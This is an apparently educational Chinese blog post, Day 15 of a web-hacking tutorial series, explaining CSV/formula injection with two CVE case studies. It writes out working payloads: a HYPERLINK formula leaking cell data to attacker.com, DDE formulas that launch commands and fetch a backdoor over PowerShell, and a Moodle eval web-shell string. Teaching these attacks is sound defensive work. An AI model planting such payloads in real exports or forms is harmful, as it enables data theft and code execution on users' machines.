iT邦幫忙

2021 iThome 鐵人賽

DAY 15
0
Security

讓Web開發者森77的Hacking Trick系列 第 15

[Day15] CSV Injection(Formula Injection)

前言

寫完一半了,灑花
你的使用的Sheet Application安全嗎?

正文

概念

CSV是一個用逗號,取值的格式,適合用來作為大量資料在不同應用程式之間的資料交換。

而CSV Injection或稱為Formula Injection的這種攻擊技術,就是利用網站或相關應用程式允許用戶將數據export成CSV又不對內容進行檢查的攻擊手法。攻擊者可能會製作包含惡意內容的公式(Formula),這可能導致CSV Application執行這些惡意公式的時候,取得一般使用者的數據,甚至系統。

一種簡單的想法是,在文件中嵌入惡意連結,例如在某個表格中寫下:
=HYPERLINK("http://attacker.com?leak="&A1%B1","click me")
當一班使用者點擊這個連結時,就會將A1和B1儲存格的內容一併發送給攻擊者所架設的web service。

或是另一種更為嚴重的手法,利用DDE(Dynamic Data Exchange)公式,就可以在Excel上執行命令,例如:
=cmd|' /C calc’!A1
就會導致用戶Windows上的計算機被打開,而既然計算機被打開,自然就可以用來執行下載攻擊者的架設的web service中的惡意程式(像是後門)。雖然OS和sheet application會在要執行這類命令時跳出通知,但完全可以想像有部分用戶會直覺性的按下接受或忽略這個警告。
=cmd|'/C powershell IEX(wget http://attacker.com/backdoor.exe)'!A1
常用來進行CSV Injection的有

  • =
  • +
  • -
  • @

Case Study

CVE-2018-10504

這個漏洞是一個WordPress上的一個Plugin Form Maker。它提供了一個可以用Joomla用戶客製化表單的框架,而且允許public user將命令作為表單的一部分進行注入,當有其他具有更高權限的使用者以CSV format export出資料,並且在電腦上打開這個文件時,就會執行攻擊者寫入的命令。
POC
@SUM(1+1)*cmd|' /C calc'!A0

CVE-2018-1133
Moodle 3.9 - Remote Code Execution (RCE) (Authenticated)

這個例子其實跟這篇主題無關XD,只是因為它是在Formula的欄位中利用eval的注入。
Moodle允許教師自訂測驗,其中一個類型是計算類型的問題,這允許教師輸入一個數學公式。

而因為moodle在這裡使用eval進行運算評估,因此我們可以直接寫入一個web shell:
/*{a*/`$_REQUEST[Craig]`;//{x}}


上一篇
[Day14] LDAP Injection
下一篇
[Day16] Arbitrary File Upload
系列文
讓Web開發者森77的Hacking Trick30

尚未有邦友留言

立即登入留言